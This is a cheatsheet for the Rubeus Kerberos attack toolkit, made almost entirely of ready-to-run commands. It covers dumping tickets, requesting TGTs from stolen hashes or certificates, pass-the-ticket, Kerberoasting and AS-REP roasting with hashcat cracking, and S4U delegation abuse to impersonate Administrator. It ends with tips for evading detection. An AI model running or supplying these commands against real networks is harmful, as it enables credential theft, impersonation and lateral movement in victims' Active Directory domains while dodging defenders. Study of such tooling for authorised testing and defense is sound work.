Rubeus Cheatsheet

Rubeus is a C# toolkit for Kerberos interaction and abuse, developed by Will Schroeder (harmj0y) as part of the GhostPack project.

Key Capabilities:

• Ticket dump, request, renew, describe, import
• Pass the Ticket / Pass the Key / OverPass the Hash
• Kerberoasting and AS-REP Roasting
• Constrained Delegation abuse (S4U)
• PKINIT (Pass-the-Certificate)
• Golden/Silver ticket forging

Download/compile: https://github.com/GhostPack/Rubeus

Basic Syntax

Rubeus.exe <command> [options]

Quick Reference Commands

PKINIT (Certificate Authentication)

Request TGT with PFX Certificate

Rubeus.exe asktgt /user:<user> /domain:<domain> /certificate:<path_or_base64> /password:<pfx_password> /nowrap

Request TGT with PFX and Import

Rubeus.exe asktgt /user:<user> /domain:<domain> /certificate:C:\cert.pfx /password:CertPass123 /ptt

Used in Pass-the-Certificate attacks after obtaining a certificate from AD CS exploitation or Shadow Credentials attacks. If PKINIT is not supported by the KDC, use gettgtpkinit.py (PKINITtools) or PassTheCert for LDAPS authentication.

Ticket Harvesting

Dump All Tickets (Base64)

Rubeus.exe dump /nowrap

Dump Tickets for Current User

Rubeus.exe dump /user:current /nowrap

Dump Specific Service Tickets

Rubeus.exe dump /service:krbtgt /nowrap

Triage (List Tickets)

Rubeus.exe triage

Request Tickets (asktgt)

Request TGT with NTLM Hash (RC4)

Rubeus.exe asktgt /user:<user> /domain:<domain> /rc4:<ntlm_hash> /nowrap

Request TGT with AES256 Hash

Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<aes256_hash> /nowrap

Request TGT with Password

Rubeus.exe asktgt /user:<user> /domain:<domain> /password:<password> /nowrap

Request TGT and Import (/ptt)

Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<hash> /ptt

Request TGT Using Domain Controller

Rubeus.exe asktgt /user:<user> /domain:<domain> /rc4:<hash> /dc:<dc_ip> /nowrap

Request TGT with Certificate (PKINIT)

Rubeus.exe asktgt /user:<user> /domain:<domain> /certificate:<base64_or_path> /password:<pfx_password> /nowrap

Pass the Ticket (ptt)

Import .kirbi File

Rubeus.exe ptt /ticket:<path_to_kirbi>

Import Base64 Ticket

Rubeus.exe ptt /ticket:<base64_encoded_ticket>

Sacrificial Process (createnetonly)

Create a hidden process with a new logon session to avoid overwriting existing tickets:

Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

Then in the new window, request and import a ticket:

Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<hash> /ptt

Kerberoasting

Kerberoast All Users

Rubeus.exe kerberoast /nowrap

Kerberoast Specific User

Rubeus.exe kerberoast /user:<username> /nowrap

Kerberoast with Output Format for Hashcat

Rubeus.exe kerberoast /format:hashcat /nowrap

Kerberoast with AES Encryption

Rubeus.exe kerberoast /aes /nowrap

Crack with Hashcat:

hashcat -m 13100 kerberoast.txt wordlist.txt

AS-REP Roasting

Target accounts with “Do not require Kerberos preauthentication” enabled.

AS-REP Roast All Users

Rubeus.exe asreproast /nowrap

AS-REP Roast Specific User

Rubeus.exe asreproast /user:<username> /nowrap

AS-REP Roast with Hashcat Format

Rubeus.exe asreproast /format:hashcat /nowrap

Crack with Hashcat:

hashcat -m 18200 asrep.txt wordlist.txt

Request Service Tickets (asktgs)

Request TGS for Service

Rubeus.exe asktgs /ticket:<tgt_base64> /service:cifs/server.domain.local /nowrap

Request TGS and Import

Rubeus.exe asktgs /ticket:<tgt_base64> /service:cifs/server.domain.local /ptt

Constrained Delegation (S4U)

S4U2Self and S4U2Proxy

Rubeus.exe s4u /user:<service_account> /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt

S4U with Alternate Service

Rubeus.exe s4u /user:<service_account> /aes256:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /altservice:ldap /ptt

Ticket Operations

Describe a Ticket

Rubeus.exe describe /ticket:<base64_or_path>

Renew a TGT

Rubeus.exe renew /ticket:<base64_or_path> /nowrap

Purge Tickets (Current Session)

Rubeus.exe purge

Purge Tickets (Specific LUID)

Rubeus.exe purge /luid:<luid>

Hash Calculation

Calculate Kerberos Hashes from Password

Rubeus.exe hash /user:<username> /domain:<domain> /password:<password>

Output includes: rc4_hmac (NTLM), aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, des_cbc_md5

Monitoring

Monitor for TGTs

Rubeus.exe monitor /interval:5
Rubeus.exe monitor /interval:5 /filteruser:<username>

Common Options

One-Liners

Dump All Tickets

Rubeus.exe dump /nowrap

Request TGT and Import

Rubeus.exe asktgt /user:john /domain:domain.local /aes256:<hash> /ptt

Kerberoast and Save

Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

Create Sacrificial Session and Request TGT

Rubeus.exe createnetonly /program:cmd.exe /show
:: In new window:
Rubeus.exe asktgt /user:john /domain:domain.local /rc4:<hash> /ptt

Convert .kirbi to Base64 (PowerShell)

[Convert]::ToBase64String([IO.File]::ReadAllBytes("ticket.kirbi"))

Convert Base64 to .kirbi (PowerShell)

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<base64_string>"))

Detection and Evasion

Common Detection Points

• Unusual Kerberos ticket requests (Event ID 4768, 4769)
• Service ticket requests for sensitive SPNs
• AS-REQ without pre-authentication
• High volume of TGS requests (Kerberoasting signature)

Evasion Techniques

• Use AES encryption instead of RC4 (less suspicious)
• Use /opsec flag for reduced detection footprint
• Limit ticket requests to avoid anomaly detection
• Use sacrificial processes to isolate ticket activity

Related Tools